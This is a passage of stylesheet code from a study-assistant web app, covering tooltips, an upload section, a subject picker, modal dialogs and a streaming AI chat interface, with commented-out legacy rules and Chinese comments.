letter-spacing: 0.025em;
}
已禁用 */
/* 已禁用 - 继续注释旧代码
.tooltip-container[data-tooltip]:not([data-tooltip=""])::after {
content: '';
position: absolute;
bottom: calc(100% + 2px);
left: 50%;
width: 0;
height: 0;
border: 6px solid transparent;
border-top: 6px solid #667eea;
z-index: 999;
filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.1));
}
已禁用 */
/* 已禁用 - 全部旧tooltip代码开始
.tooltip-container[data-tooltip]:not([data-tooltip=""]):hover::before,
.tooltip-container[data-tooltip]:not([data-tooltip=""]):hover::after {
opacity: 1;
transform: translate(-50%, 0) scale(1);
}
/* 不同位置的 tooltip */
.tooltip-container.tooltip-right[data-tooltip]:not([data-tooltip=""])::before {
bottom: auto;
top: 50%;
left: calc(100% + 8px);
transform: translate(0, -50%) scale(0.8);
transform-origin: left center;
}
.tooltip-container.tooltip-right[data-tooltip]:not([data-tooltip=""])::after {
bottom: auto;
top: 50%;
left: calc(100% + 2px);
border: 6px solid transparent;
border-right: 6px solid #667eea;
border-top: 6px solid transparent;
transform: translate(0, -50%) scale(0.8);
transform-origin: left center;
}
.tooltip-container.tooltip-right[data-tooltip]:not([data-tooltip=""]):hover::before,
.tooltip-container.tooltip-right[data-tooltip]:not([data-tooltip=""]):hover::after {
opacity: 1;
transform: translate(0, -50%) scale(1);
}
.tooltip-container.tooltip-left[data-tooltip]:not([data-tooltip=""])::before {
bottom: auto;
top: 50%;
left: auto;
right: calc(100% + 8px);
transform: translate(0, -50%) scale(0.8);
transform-origin: right center;
}
.tooltip-container.tooltip-left[data-tooltip]:not([data-tooltip=""])::after {
bottom: auto;
top: 50%;
left: auto;
right: calc(100% + 2px);
border: 6px solid transparent;
border-left: 6px solid #667eea;
border-top: 6px solid transparent;
transform: translate(0, -50%) scale(0.8);
transform-origin: right center;
}
.tooltip-container.tooltip-left[data-tooltip]:not([data-tooltip=""]):hover::before,
.tooltip-container.tooltip-left[data-tooltip]:not([data-tooltip=""]):hover::after {
opacity: 1;
transform: translate(0, -50%) scale(1);
}
.tooltip-container.tooltip-bottom[data-tooltip]:not([data-tooltip=""])::before {
bottom: auto;
top: calc(100% + 8px);
left: 50%;
transform: translate(-50%, 0) scale(0.8);
transform-origin: bottom center;
}
.tooltip-container.tooltip-bottom[data-tooltip]:not([data-tooltip=""])::after {
bottom: auto;
top: calc(100% + 2px);
left: 50%;
border: 6px solid transparent;
border-bottom: 6px solid #667eea;
border-top: 6px solid transparent;
transform: translate(-50%, 0) scale(0.8);
transform-origin: bottom center;
}
.tooltip-container.tooltip-bottom[data-tooltip]:not([data-tooltip=""]):hover::before,
.tooltip-container.tooltip-bottom[data-tooltip]:not([data-tooltip=""]):hover::after {
opacity: 1;
transform: translate(-50%, 0) scale(1);
}
/* 特殊主题的 tooltip */
.tooltip-container.tooltip-success[data-tooltip]:not([data-tooltip=""])::before {
background: linear-gradient(135deg, #4ecdc4 0%, #44a08d 100%);
}
.tooltip-container.tooltip-success[data-tooltip]:not([data-tooltip=""])::after {
border-top-color: #4ecdc4;
}
.tooltip-container.tooltip-warning[data-tooltip]:not([data-tooltip=""])::before {
background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
}
.tooltip-container.tooltip-warning[data-tooltip]:not([data-tooltip=""])::after {
border-top-color: #f093fb;
}
.tooltip-container.tooltip-info[data-tooltip]:not([data-tooltip=""])::before {
background: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%);
}
.tooltip-container.tooltip-info[data-tooltip]:not([data-tooltip=""])::after {
border-top-color: #4facfe;
}
/* 动画关键帧 */
@keyframes tooltipFadeIn {
0% {
opacity: 0;
transform: translate(-50%, 8px) scale(0.8);
}
100% {
opacity: 1;
transform: translate(-50%, 0) scale(1);
}
}
/* 响应式调整 */
@media (max-width: 768px) {
.tooltip-container[data-tooltip]:not([data-tooltip=""])::before {
font-size: 12px;
padding: 6px 10px;
border-radius: 10px;
}
.tooltip-container[data-tooltip]:not([data-tooltip=""])::after {
border-width: 5px;
}
}
*/
/* 简化的tooltip功能 - 为侧边栏导航设计 */
.tooltip-test {
position: relative !important;
display: block !important;
}
/* 清理所有不需要的伪元素 */
.tooltip-test:not(:hover)::before,
.tooltip-test:not(:hover)::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
}
/* 清理空的data-tooltip的伪元素 */
.tooltip-test[data-tooltip=""]::before,
.tooltip-test[data-tooltip=""]::after,
.tooltip-test:not([data-tooltip])::before,
.tooltip-test:not([data-tooltip])::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
}
/* 默认tooltip (上方显示) - 动画优化 */
.tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::before {
content: attr(data-tooltip) !important;
position: absolute !important;
bottom: calc(100% + 10px) !important;
left: 50% !important;
transform: translateX(-50%) scale(1) !important;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%) !important;
color: white !important;
padding: 8px 12px !important;
border-radius: 12px !important;
font-size: 13px !important;
font-weight: 500 !important;
white-space: nowrap !important;
z-index: 10000 !important;
box-shadow:
0 8px 32px rgba(102, 126, 234, 0.25),
0 4px 16px rgba(0, 0, 0, 0.1),
inset 0 1px 0 rgba(255, 255, 255, 0.2) !important;
backdrop-filter: blur(10px) !important;
border: 1px solid rgba(255, 255, 255, 0.1) !important;
opacity: 1 !important;
visibility: visible !important;
pointer-events: none !important;
animation: tooltipFadeIn 0.2s cubic-bezier(0.68, -0.55, 0.265, 1.55) !important;
}
.tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::after {
content: '' !important;
position: absolute !important;
bottom: calc(100% + 4px) !important;
left: 50% !important;
transform: translateX(-50%) scale(1) !important;
border: 6px solid transparent !important;
border-top: 6px solid #667eea !important;
z-index: 9999 !important;
opacity: 1 !important;
visibility: visible !important;
pointer-events: none !important;
filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.1)) !important;
animation: tooltipFadeIn 0.2s cubic-bezier(0.68, -0.55, 0.265, 1.55) !important;
}
/* 侧边栏收起时的右侧tooltip - 相对于按钮定位 */
.app-sidebar.collapsed .tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::before {
content: attr(data-tooltip) !important;
position: absolute !important;
top: 50% !important;
left: calc(100% + 12px) !important;
bottom: auto !important;
right: auto !important;
transform: translateY(-50%) scale(1) !important;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%) !important;
color: white !important;
padding: 6px 10px !important;
border-radius: 8px !important;
font-size: 12px !important;
font-weight: 500 !important;
white-space: nowrap !important;
min-width: max-content !important;
max-width: none !important;
overflow: visible !important;
z-index: 999999 !important;
box-shadow:
0 4px 20px rgba(102, 126, 234, 0.3),
0 2px 8px rgba(0, 0, 0, 0.15) !important;
backdrop-filter: blur(8px) !important;
border: 1px solid rgba(255, 255, 255, 0.2) !important;
opacity: 1 !important;
visibility: visible !important;
pointer-events: none !important;
animation: tooltipFadeIn 0.15s cubic-bezier(0.68, -0.55, 0.265, 1.55) !important;
}
.app-sidebar.collapsed .tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::after {
content: '' !important;
position: absolute !important;
top: 50% !important;
left: calc(100% + 6px) !important;
bottom: auto !important;
right: auto !important;
transform: translateY(-50%) scale(1) !important;
border: 5px solid transparent !important;
border-right: 5px solid #667eea !important;
border-left: none !important;
border-top: 5px solid transparent !important;
border-bottom: 5px solid transparent !important;
z-index: 999998 !important;
opacity: 1 !important;
visibility: visible !important;
pointer-events: none !important;
filter: drop-shadow(0 1px 3px rgba(0, 0, 0, 0.1)) !important;
animation: tooltipFadeIn 0.15s cubic-bezier(0.68, -0.55, 0.265, 1.55) !important;
}
/* 全局清理：防止不明黑框 - 排除窗口控制按钮 */
/* 清理所有可能的伪元素黑框 */
*:not(.tooltip-test):not(.window-controls):not(.window-button)::before,
*:not(.tooltip-test):not(.window-controls):not(.window-button)::after {
/* 确保非tooltip元素的伪元素不会意外显示 */
display: none !important;
content: none !important;
}
/* 特别清理：确保没有遗留的tooltip相关伪元素 */
.tooltip-container:not(.tooltip-test)::before,
.tooltip-container:not(.tooltip-test)::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
position: static !important;
}
/* 清理旧的tooltip-container样式 */
.tooltip-container:not(.tooltip-test) {
position: static !important;
}
/* 清理任何可能的复杂选择器的伪元素 */
.tooltip-container.tooltip-right:not(.tooltip-test)::before,
.tooltip-container.tooltip-right:not(.tooltip-test)::after,
.tooltip-container.tooltip-left:not(.tooltip-test)::before,
.tooltip-container.tooltip-left:not(.tooltip-test)::after,
.tooltip-container.tooltip-bottom:not(.tooltip-test)::before,
.tooltip-container.tooltip-bottom:not(.tooltip-test)::after,
.tooltip-container.tooltip-success:not(.tooltip-test)::before,
.tooltip-container.tooltip-success:not(.tooltip-test)::after,
.tooltip-container.tooltip-warning:not(.tooltip-test)::before,
.tooltip-container.tooltip-warning:not(.tooltip-test)::after,
.tooltip-container.tooltip-info:not(.tooltip-test)::before,
.tooltip-container.tooltip-info:not(.tooltip-test)::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
position: static !important;
}
/* 确保只有hover时才显示tooltip */
.tooltip-test:not(:hover)::before,
.tooltip-test:not(:hover)::after {
opacity: 0 !important;
visibility: hidden !important;
transform: scale(0) !important;
display: none !important;
}
/* 精确清理：只针对可能出现问题的元素 */
/* 特别针对可能出现在底部的框 */
body::before,
body::after,
html::before,
html::after,
#root::before,
#root::after,
.app::before,
.app::after,
.app-body::before,
.app-body::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
}
/* =============================================================
⚡ FINAL OVERRIDES – ensure new upload page style wins
============================================================= */
.upload-section {
background: rgba(255, 255, 255, 0.72) !important;
backdrop-filter: saturate(180%) blur(12px) !important;
border: 1px solid rgba(255, 255, 255, 0.3) !important;
}
.upload-section h3 {
font-size: 1.35rem !important;
font-weight: 700 !important;
}
.file-upload-area {
border: 2px dashed var(--primary-color, #8b5cf6) !important;
background: linear-gradient(145deg, rgba(139, 92, 246, 0.05) 0%, rgba(59, 130, 246, 0.05) 100%) !important;
transition: all 0.25s ease !important;
}
.file-upload-area:hover {
background: linear-gradient(145deg, rgba(139, 92, 246, 0.10) 0%, rgba(59, 130, 246, 0.10) 100%) !important;
box-shadow: 0 8px 20px rgba(139, 92, 246, 0.15) !important;
transform: translateY(-2px) !important;
border-color: var(--primary-color, #7c3aed) !important;
}
.file-upload-area.drag-over {
background: linear-gradient(145deg, rgba(139, 92, 246, 0.12) 0%, rgba(59, 130, 246, 0.12) 100%) !important;
border-color: var(--primary-color, #7c3aed) !important;
animation: pulseBorder 1.2s infinite ease-in-out !important;
}
.upload-icon {
font-size: 2.5rem !important;
color: var(--primary-color, #6d28d9) !important;
}
.upload-text {
font-size: 0.95rem !important;
color: #4b5563 !important;
}
.image-thumbnail-container {
border-radius: 10px !important;
overflow: hidden !important;
}
.image-thumbnail-container:hover .image-thumbnail {
transform: scale(1.05) !important;
}
.analyze-button,
.save-button,
.reset-button {
border-radius: 10px !important;
font-weight: 600 !important;
transition: transform 0.15s ease, box-shadow 0.15s ease !important;
}
.analyze-button:hover:not(:disabled),
.save-button:hover:not(:disabled),
.reset-button:hover:not(:disabled) {
transform: translateY(-2px) !important;
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08) !important;
}
/* ============================================================= */
/* =============================================================
🎛️ Modern Select (Subject Picker) – improved native look
============================================================= */
.form-group select {
/* Remove default OS / browser styling */
appearance: none !important;
-webkit-appearance: none !important;
-moz-appearance: none !important;
/* Modern colors */
background-color: #f9fafb !important;
/* Custom arrow icon */
background-image: url("data:image/svg+xml,%3Csvg fill='none' stroke='%23667eea' stroke-width='2' viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") !important;
background-repeat: no-repeat !important;
background-position: right 1rem center !important;
background-size: 1rem !important;
padding-right: 3rem !important; /* space for arrow */
cursor: pointer !important;
border: 2px solid #e2e8f0 !important;
border-radius: 10px !important;
font-weight: 500 !important;
transition: all 0.2s ease !important;
}
/* Hover & focus states */
.form-group select:hover {
border-color: #667eea !important;
}
.form-group select:focus {
outline: none !important;
border-color: #667eea !important;
box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.15) !important;
}
/* Remove legacy IE arrow */
.form-group select::-ms-expand {
display: none !important;
}
/* Disabled state keeping modern look */
.form-group select:disabled {
background-color: #edf2f7 !important;
cursor: not-allowed !important;
opacity: 0.6 !important;
}
/* ============================================================= */
|
000haoji/deep-student
| 128,793 |
src/App.css
|
/* 全局样式 */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
/* 页面保活机制样式 - 确保隐藏的组件不影响布局 */
.page-container {
width: 100%;
}
.page-container[style*="display: none"] {
position: absolute;
visibility: hidden;
pointer-events: none;
}
/* 模态框样式 */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.modal-dialog {
background: white;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
max-width: 90vw;
max-height: 90vh;
width: 90%; /* Use percentage for flexibility */
max-width: 800px; /* Keep a max-width for larger screens */
overflow: hidden;
display: flex;
flex-direction: column;
}
.modal-header {
padding: 1.5rem;
border-bottom: 1px solid #e0e0e0;
display: flex;
justify-content: space-between;
align-items: center;
background: #f8f9fa;
}
.modal-header h3 {
margin: 0;
font-size: 1.25rem;
color: #333;
}
.modal-content {
flex: 1;
overflow-y: auto;
padding: 1.5rem;
}
.modal-footer {
padding: 1.5rem;
border-top: 1px solid #e0e0e0;
background: #f8f9fa;
display: flex;
justify-content: space-between;
align-items: center;
}
.close-button {
background: none;
border: none;
font-size: 1.5rem;
cursor: pointer;
color: #666;
padding: 0.25rem 0.5rem;
border-radius: 4px;
transition: background-color 0.2s;
}
.close-button:hover {
background-color: #e0e0e0;
color: #333;
}
/* AI Chat Interface Styles */
.ai-chat-interface {
display: flex;
flex-direction: column;
height: 100%;
background: white;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
overflow: hidden;
}
.chat-messages {
flex: 1;
overflow-y: auto;
padding: 1rem;
display: flex;
flex-direction: column;
gap: 1rem;
max-height: 600px;
}
.message {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.message.user {
align-items: flex-end;
background: none !important;
}
.message.assistant {
align-items: flex-start;
background: none !important;
}
.message-header {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.8rem;
color: #666;
}
.message.user .message-header {
flex-direction: row-reverse;
}
.role {
font-weight: 600;
color: #4a5568;
}
.timestamp {
color: #a0aec0;
}
.message-content {
max-width: 80%;
padding: 0.75rem 1rem;
border-radius: 12px;
background: #f7fafc;
border: 1px solid #e2e8f0;
}
.message.user .message-content {
background: #f0f9ff;
color: #0369a1;
border-color: #e0f2fe;
}
.user-message {
word-wrap: break-word;
}
.loading-indicator {
display: flex;
align-items: center;
gap: 0.5rem;
color: #666;
font-style: italic;
}
.typing-dots {
display: flex;
gap: 4px;
}
.typing-dots span {
width: 8px;
height: 8px;
border-radius: 50%;
background: #4299e1;
animation: typing 1.4s infinite ease-in-out;
}
.typing-dots span:nth-child(1) { animation-delay: -0.32s; }
.typing-dots span:nth-child(2) { animation-delay: -0.16s; }
@keyframes typing {
0%, 80%, 100% { transform: scale(0); opacity: 0.5; }
40% { transform: scale(1); opacity: 1; }
}
.error-message {
padding: 1rem;
background: #fed7d7;
border: 1px solid #feb2b2;
border-radius: 8px;
margin: 0.5rem 0;
}
.error-content {
display: flex;
align-items: center;
gap: 0.5rem;
}
.error-icon {
font-size: 1.2rem;
}
.error-text {
flex: 1;
color: #c53030;
font-weight: 500;
}
.retry-button {
padding: 0.25rem 0.75rem;
background: #e53e3e;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 0.8rem;
transition: background-color 0.2s;
}
.retry-button:hover {
background: #c53030;
}
.chat-input-form {
border-top: 1px solid #e2e8f0;
padding: 1rem;
background: #f7fafc;
}
.input-container {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.chat-input {
width: 100%;
padding: 0.75rem;
border: 1px solid #cbd5e0;
border-radius: 8px;
font-family: inherit;
font-size: 0.9rem;
resize: vertical;
min-height: 60px;
transition: border-color 0.2s, box-shadow 0.2s;
}
.chat-input:focus {
outline: none;
border-color: #0369a1;
box-shadow: 0 0 0 3px rgba(3, 105, 161, 0.1);
}
.chat-input:disabled {
background: #edf2f7;
cursor: not-allowed;
}
.input-actions {
display: flex;
gap: 0.5rem;
justify-content: flex-end;
}
.send-button, .stop-button, .clear-button {
padding: 0.5rem 1rem;
border: 1px solid transparent;
border-radius: 8px;
font-weight: 500;
cursor: pointer;
transition: all 0.15s ease;
font-size: 0.9rem;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
.send-button {
background: #eff6ff;
color: #2563eb;
border-color: #dbeafe;
}
.send-button:hover:not(:disabled) {
background: #dbeafe;
border-color: #93c5fd;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.send-button:disabled {
background: #f8fafc;
color: #94a3b8;
border-color: #e2e8f0;
cursor: not-allowed;
opacity: 0.5;
}
.stop-button {
background: #fef2f2;
color: #dc2626;
border-color: #fecaca;
}
.stop-button:hover {
background: #fee2e2;
border-color: #fca5a5;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.clear-button {
background: #f8fafc;
color: #64748b;
border-color: #e2e8f0;
}
.clear-button:hover:not(:disabled) {
background: #f1f5f9;
border-color: #cbd5e1;
color: #475569;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
.clear-button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
.chat-controls {
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.75rem 1rem;
background: #edf2f7;
border-top: 1px solid #e2e8f0;
font-size: 0.8rem;
}
.chain-of-thought-toggle {
display: flex;
align-items: center;
gap: 0.5rem;
cursor: pointer;
color: #4a5568;
}
.chain-of-thought-toggle input[type="checkbox"] {
margin: 0;
transform: scale(1.1);
}
.chat-stats {
display: flex;
gap: 1rem;
color: #718096;
}
.analyzing {
color: #4299e1;
font-weight: 500;
}
/* Analysis with AI SDK Styles */
.analysis-with-ai-sdk {
padding: 1.5rem;
max-width: 1200px;
margin: 0 auto;
}
.analysis-header {
text-align: center;
margin-bottom: 2rem;
padding-bottom: 1rem;
border-bottom: 2px solid #e2e8f0;
}
.analysis-header h2 {
color: #2d3748;
font-size: 1.8rem;
font-weight: 600;
margin-bottom: 0.5rem;
}
.analysis-description {
color: #718096;
font-size: 1rem;
}
.analysis-content {
display: flex;
flex-direction: column;
gap: 2rem;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 1rem;
}
.section-header h3 {
color: #2d3748;
font-size: 1.2rem;
font-weight: 600;
}
.select-image-button {
padding: 0.5rem 1rem;
background: #4299e1;
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.2s;
}
.select-image-button:hover:not(:disabled) {
background: #3182ce;
}
.select-image-button:disabled {
background: #a0aec0;
cursor: not-allowed;
}
.image-section, .input-section, .analysis-results, .chat-section {
background: white;
padding: 1.5rem;
border-radius: 12px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
border: 1px solid #e2e8f0;
}
.image-preview {
margin-top: 1rem;
}
.analysis-image {
max-width: 100%;
max-height: 400px;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0,0,0,0.15);
}
.analysis-input {
width: 100%;
padding: 1rem;
border: 1px solid #cbd5e0;
border-radius: 8px;
font-family: inherit;
font-size: 1rem;
resize: vertical;
min-height: 120px;
transition: border-color 0.2s, box-shadow 0.2s;
}
.analysis-input:focus {
outline: none;
border-color: #4299e1;
box-shadow: 0 0 0 3px rgba(66, 153, 225, 0.1);
}
.analysis-input:disabled {
background: #f7fafc;
cursor: not-allowed;
}
.input-actions {
display: flex;
gap: 1rem;
margin-top: 1rem;
justify-content: flex-end;
}
.start-analysis-button {
padding: 0.75rem 1.5rem;
background: #48bb78;
color: white;
border: none;
border-radius: 8px;
font-weight: 600;
font-size: 1rem;
cursor: pointer;
transition: all 0.2s;
}
.start-analysis-button:hover:not(:disabled) {
background: #38a169;
transform: translateY(-1px);
}
.start-analysis-button:disabled {
background: #a0aec0;
cursor: not-allowed;
transform: none;
}
.error-display {
background: #fed7d7;
border: 1px solid #feb2b2;
border-radius: 8px;
padding: 1rem;
display: flex;
align-items: center;
gap: 0.5rem;
}
.error-icon {
font-size: 1.2rem;
color: #e53e3e;
}
.error-message {
color: #c53030;
font-weight: 500;
}
.analysis-summary {
display: flex;
flex-direction: column;
gap: 1rem;
}
.summary-item {
display: flex;
gap: 0.5rem;
padding: 0.75rem;
background: #f7fafc;
border-radius: 6px;
border-left: 4px solid #4299e1;
}
.summary-item strong {
color: #2d3748;
min-width: 80px;
font-weight: 600;
}
.summary-item span {
color: #4a5568;
flex: 1;
}
.chat-hint {
font-size: 0.8rem;
color: #718096;
font-style: italic;
}
.analysis-chat {
margin-top: 1rem;
height: 500px;
}
.instructions {
background: #f0fff4;
border: 1px solid #9ae6b4;
border-radius: 12px;
padding: 1.5rem;
}
.instructions h3 {
color: #276749;
margin-bottom: 1rem;
font-size: 1.1rem;
}
.instructions ul {
list-style: none;
padding: 0;
}
.instructions li {
color: #2f855a;
margin-bottom: 0.5rem;
padding-left: 1.5rem;
position: relative;
}
.instructions li:before {
content: "✓";
position: absolute;
left: 0;
color: #38a169;
font-weight: bold;
}
/* 增强版流式聊天界面样式 */
.streaming-chat-interface {
display: flex;
flex-direction: column;
height: 100%;
background: linear-gradient(145deg, #ffffff, #f8fafc);
border-radius: 16px;
box-shadow:
0 4px 20px rgba(0,0,0,0.08),
0 1px 3px rgba(0,0,0,0.1),
inset 0 1px 0 rgba(255,255,255,0.6);
overflow: hidden;
position: relative;
transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
border: 1px solid rgba(255,255,255,0.2);
backdrop-filter: blur(10px);
}
.streaming-chat-interface::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 3px;
background: linear-gradient(90deg, #667eea, #764ba2, #667eea);
background-size: 200% 100%;
animation: shimmer 3s ease-in-out infinite;
}
@keyframes shimmer {
0%, 100% { background-position: 200% 0; }
50% { background-position: -200% 0; }
}
.streaming-chat-interface:hover {
transform: translateY(-2px);
box-shadow:
0 8px 30px rgba(0,0,0,0.12),
0 4px 8px rgba(0,0,0,0.08),
inset 0 1px 0 rgba(255,255,255,0.8);
}
/* 全屏模式样式 */
.streaming-chat-interface.fullscreen {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 1000;
border-radius: 0;
border: none;
transform: none;
background: linear-gradient(145deg, #f8fafc, #ffffff);
box-shadow: none;
transition: all 0.5s cubic-bezier(0.25, 0.1, 0.25, 1);
overflow: hidden;
}
.streaming-chat-interface.fullscreen::before {
height: 4px;
background: linear-gradient(90deg, #667eea, #764ba2, #f093fb, #f5576c, #667eea);
background-size: 300% 100%;
animation: shimmer 2s ease-in-out infinite;
}
/* 全屏切换动画 */
.streaming-chat-interface.expanding {
animation: expandToFullscreen 0.5s cubic-bezier(0.25, 0.1, 0.25, 1) forwards;
}
.streaming-chat-interface.collapsing {
animation: collapseFromFullscreen 0.5s cubic-bezier(0.25, 0.1, 0.25, 1) forwards;
}
@keyframes expandToFullscreen {
0% {
border-radius: 16px;
transform: scale(1) translate(0, 0);
}
50% {
border-radius: 8px;
transform: scale(1.02) translate(-1%, -1%);
}
100% {
border-radius: 0;
transform: scale(1) translate(0, 0);
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 1000;
}
}
@keyframes collapseFromFullscreen {
0% {
border-radius: 0;
transform: scale(1) translate(0, 0);
}
50% {
border-radius: 8px;
transform: scale(0.98) translate(1%, 1%);
}
100% {
border-radius: 16px;
transform: scale(1) translate(0, 0);
}
}
.streaming-chat-interface .chat-messages {
flex: 1;
overflow-y: auto;
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.2rem;
max-height: 500px;
background: linear-gradient(to bottom, transparent, rgba(248,250,252,0.3));
position: relative;
scroll-behavior: smooth;
}
.streaming-chat-interface.fullscreen .chat-messages {
max-height: none;
padding: 2rem 3rem;
background: linear-gradient(135deg, #fafbfc 0%, #f0f4f8 100%);
gap: 1.5rem;
}
.streaming-chat-interface .chat-messages::-webkit-scrollbar {
width: 8px;
}
.streaming-chat-interface .chat-messages::-webkit-scrollbar-track {
background: rgba(0,0,0,0.05);
border-radius: 4px;
}
.streaming-chat-interface .chat-messages::-webkit-scrollbar-thumb {
background: linear-gradient(45deg, #667eea, #764ba2);
border-radius: 4px;
transition: all 0.3s ease;
}
.streaming-chat-interface .chat-messages::-webkit-scrollbar-thumb:hover {
background: linear-gradient(45deg, #5a6fd8, #6b46a3);
transform: scale(1.1);
}
.message-wrapper {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.message-wrapper.user {
align-items: flex-end;
}
.message-wrapper.assistant {
align-items: flex-start;
}
.message-wrapper .message-header {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.8rem;
color: #666;
}
.message-wrapper.user .message-header {
flex-direction: row-reverse;
}
.user-message-content {
max-width: 75%;
padding: 1rem 1.5rem;
border-radius: 20px 20px 6px 20px;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
word-wrap: break-word;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
position: relative;
transform: translateX(0);
transition: all 0.3s ease;
font-weight: 500;
}
.user-message-content:hover {
transform: translateX(-2px);
box-shadow: 0 4px 8px rgba(3, 105, 161, 0.15);
border-color: #0369a1;
}
.streaming-chat-interface.fullscreen .user-message-content {
max-width: 65%;
padding: 1.2rem 2rem;
font-size: 1.05rem;
border-radius: 24px 24px 8px 24px;
}
.streaming-indicator {
display: flex;
align-items: center;
gap: 1rem;
padding: 1.2rem 1.5rem;
background: linear-gradient(135deg, #f0f8ff, #e6f3ff);
border: 1px solid rgba(66, 153, 225, 0.2);
border-radius: 16px;
margin: 0.8rem 0;
box-shadow: 0 4px 12px rgba(66, 153, 225, 0.1);
backdrop-filter: blur(10px);
position: relative;
overflow: hidden;
}
.streaming-indicator::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent);
animation: loading-shine 2s infinite;
}
@keyframes loading-shine {
0% { left: -100%; }
100% { left: 100%; }
}
.streaming-chat-interface.fullscreen .streaming-indicator {
padding: 1.5rem 2rem;
margin: 1rem 0;
border-radius: 20px;
}
.streaming-indicator .typing-dots {
display: flex;
gap: 4px;
}
.streaming-indicator .typing-dots span {
width: 8px;
height: 8px;
border-radius: 50%;
background: #4299e1;
animation: typing 1.4s infinite ease-in-out;
}
.streaming-indicator .typing-dots span:nth-child(1) { animation-delay: -0.32s; }
.streaming-indicator .typing-dots span:nth-child(2) { animation-delay: -0.16s; }
.streaming-text {
color: #2b6cb0;
font-style: italic;
font-weight: 500;
}
.streaming-chat-interface .chat-input-form {
border-top: 1px solid rgba(226, 232, 240, 0.5);
padding: 1.5rem;
background: linear-gradient(135deg, #f7fafc, #ffffff);
backdrop-filter: blur(10px);
position: relative;
}
.streaming-chat-interface .chat-input-form::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, #667eea, transparent);
}
.streaming-chat-interface.fullscreen .chat-input-form {
padding: 2rem 3rem;
background: linear-gradient(135deg, #ffffff, #f8fafc);
border-top: 1px solid rgba(226, 232, 240, 0.6);
box-shadow: 0 -4px 20px rgba(0,0,0,0.05);
}
.streaming-chat-interface .input-container {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.streaming-chat-interface .chat-input {
width: 100%;
padding: 1rem 1.5rem;
border: 2px solid transparent;
background: linear-gradient(white, white) padding-box,
linear-gradient(135deg, #667eea, #764ba2) border-box;
border-radius: 16px;
font-family: inherit;
font-size: 1rem;
resize: vertical;
min-height: 70px;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
box-shadow: 0 4px 12px rgba(0,0,0,0.05);
backdrop-filter: blur(10px);
}
.streaming-chat-interface .chat-input:focus {
outline: none;
background: linear-gradient(white, white) padding-box,
linear-gradient(135deg, #667eea, #764ba2) border-box;
box-shadow:
0 8px 24px rgba(102, 126, 234, 0.2),
0 4px 8px rgba(102, 126, 234, 0.1);
transform: translateY(-1px);
}
.streaming-chat-interface.fullscreen .chat-input {
padding: 1.2rem 2rem;
font-size: 1.1rem;
min-height: 80px;
border-radius: 20px;
}
.streaming-chat-interface .chat-input:disabled {
background: #edf2f7;
cursor: not-allowed;
opacity: 0.7;
}
.streaming-chat-interface .input-actions {
display: flex;
justify-content: flex-end;
}
.streaming-chat-interface .send-button {
padding: 0.8rem 2rem;
background: #f0f9ff;
color: #0369a1;
border: 1px solid #e0f2fe;
border-radius: 12px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
font-size: 1rem;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1);
position: relative;
overflow: hidden;
}
.streaming-chat-interface .send-button::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
transition: left 0.5s;
}
.streaming-chat-interface .send-button:hover::before {
